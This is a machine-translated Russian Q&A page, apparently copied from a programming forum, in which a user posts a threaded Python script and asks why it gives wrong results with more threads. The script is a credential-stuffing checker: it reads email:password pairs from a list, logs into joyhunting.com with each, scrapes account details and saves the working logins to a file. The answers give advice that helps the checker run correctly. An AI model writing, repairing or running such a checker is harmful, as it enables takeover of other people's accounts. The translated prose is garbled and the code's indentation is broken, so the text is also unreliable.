2010-10-01 5 views
0

Hell All.python thread queue question

я сделал некоторый питон скрипт с резьбой, который проверяя некоторые счета существует в каком-то сайте

если я запускаю нить 1, она работает хорошо, но если увеличение нить, такие как 3 ~ 5 и выше,

результат был очень другим, сравнить с нитью 1 и i был проверен вручную и

если я увеличил результат нити, это было неправильно.

Я думаю, что некоторые из моего кода потока должны настраиваться или как использовать модуль очереди?

Кто-нибудь может советовать или настраивать мой сценарий? Заранее спасибо!

# -*- coding: cp949 -*- 
import sys,os 
import mechanize, urllib 
import cookielib 
import re 
from BeautifulSoup import BeautifulSoup,BeautifulStoneSoup,Tag 
import re,sys,os,mechanize,urllib,threading,time 

# Maximum number of process to spawn at any one given time. 
MAX_PROCS =5 

maillist = "daum.txt" 
threads = [] 
SAVEFILE = 'valid_joyhunt.txt' 

# Threading class 
class CheckMyThread (threading.Thread): 
llemail = "" 
llpassword = "" 
def __init__ (self , lemail, lpassword): 
    self.llemail = lemail 
    self.llpassword = lpassword 
    threading.Thread.__init__(self) 
    pass 

def run (self): 
    valid = [] 
    llemail = self.llemail 
    llpassword = self.llpassword 
    try: 
    params = urllib.urlencode({'userid':llemail, 'passwd':llpassword}) 
    rq = mechanize.Request("http://www.joyhunting.com/include/member/login_ok1.asp", params) 
    rs = mechanize.urlopen(rq) 
    data = rs.read()  
    logged_in = r'var _id' in data     #정상 로그인       
    if logged_in : 
     rq = mechanize.Request("http://www.joyhunting.com/myjoy/new_myjoy.asp") 
     rs = mechanize.urlopen(rq) 
     maindata = rs.read(50024) 
     jun_member = r"준회원" 
     save = open(SAVEFILE, 'a') 
     for match in re.finditer(r'<td height="28" colspan="2" style="PADDING-left: 16px">현재 <strong>(.*?)</strong>', maindata): 
     matched = match.group(1)  
     for match2 in re.finditer(r"var _gd(.*?);", data): 
     matched2 = match2.group(1) 
     print '%s, %s' %(matched, matched2) 
     break 
     rq1=mechanize.Request("http://www.joyhunting.com/webchat/applyweb/sendmessage_HPCK_step1.asp?reURL=1&myid="+llemail+"&ToID=undefined&hide=undefined") 
     rs1=mechanize.urlopen(rq1) 
     sendmsg= rs1.read() 
     #print sendmsg  
     match3 = '' 
     for match3 in re.finditer(r":'\+(.*?)\);", sendmsg): 
     matched3 = match3.group(1) 
     #print matched3 
     print 'bad' 
     break 
     if match3 =='': 
     save.write('%s, %s, %s:%s ' %(matched, matched2, llemail, llpassword + '\n')) 
     save.close()  
     print '[+] Checking: %s:%s -> Good!' % (llemail, llpassword)     
    else: 
    print '[-] Checking: %s:%s -> bad account!' % (llemail, llpassword) 
    return 0    
    except: 
    print '[!] Exception checking %s.' % (llemail) 
    return 1 
    return 0 
try: 
listhandle = open(maillist); 
#Bail out if the file doesn't exist 
except: 
print '[!] %s does not exist. Please create the file!' % (maillist) 
exit (2) 

#Loop through the file 
for line in listhandle: 
#Parse the line 
try: 
    details = line.split(':') 
    email = details[0] 
    password = details[1].replace('\n', '') 

#Throw an error and exit. 
except: 
    print '[!] Parse Error in %s on line %n.' % (maillist, currline) 
    exit 

#Run a while statement: 
if len(threads) < MAX_PROCS: 
    #Fork out into another process 
    print '[ ] Starting thread to check account %s.' % (email); 
    thread = CheckMyThread(email, password) 
    thread.start() 
    threads.append(thread) 

else: 
    #Wait for a thread to exit. 
    gonext = 0 
    while 1 == 1: 
    i = 0 
    #print '[ ] Checking for a thread to exit...' 
    while i < len(threads): 
    #print '[ ] %d' % (i) 
    try: 
    if threads[i]: 
     if not threads[i].isAlive(): 
     #print '[-] Thread %d is dead' % (i) 
     threads.pop(i) 
     print '[ ] Starting thread to check account %s.' % (email); 
     thread = CheckMyThread(email, password) 
     thread.start() 
     threads.append(thread) 
     gonext = 1 
     break 
     else: 
     #print '[+] Thread %d is still running' % (i) 
     pass 
    else: 
     print '[ ] Crap.'; 
    except NameError: 
    print '[ ] AWWW COME ON!!!!' 
    i = i + 1 
    time.sleep(0.050); 
    if gonext: 
    break 

ответ

0

Можете ли вы указать, какие результаты?

Из того, что я вижу, код выполняет гораздо больше, чем проверку учетной записи.

Из того, что я вижу, вы добавляете к одному файлу из нескольких потоков, я бы сказал, что он не является потокобезопасным.

Кроме того, AFAIK Mechanize использует хранилище общих файлов cookie для всех запросов, поэтому они, вероятно, вмешиваются. Используйте отдельно mechanize.Browser() внутри run() вместо mechanize.Request().

+0

Привет, если я запускаю нить 1, проверенный результат учетной записи верен, но если я запускаю много нитей, результат был неправильным, то некоторая учетная запись была жива, но результат проверен умер. как я могу сделать потокобезопасным или использовать Queue для обеспечения безопасности потоков. спасибо заранее. Прошу мой английский – paul

+0

Проблема, похоже, связана с механизированным общим хранилищем файлов cookie (может быть, использовать 'CookieJar' вместо' Browser() '?). В любом случае; почему вы настаиваете на использовании очереди? Это не волшебная пуля безопасности. – Almad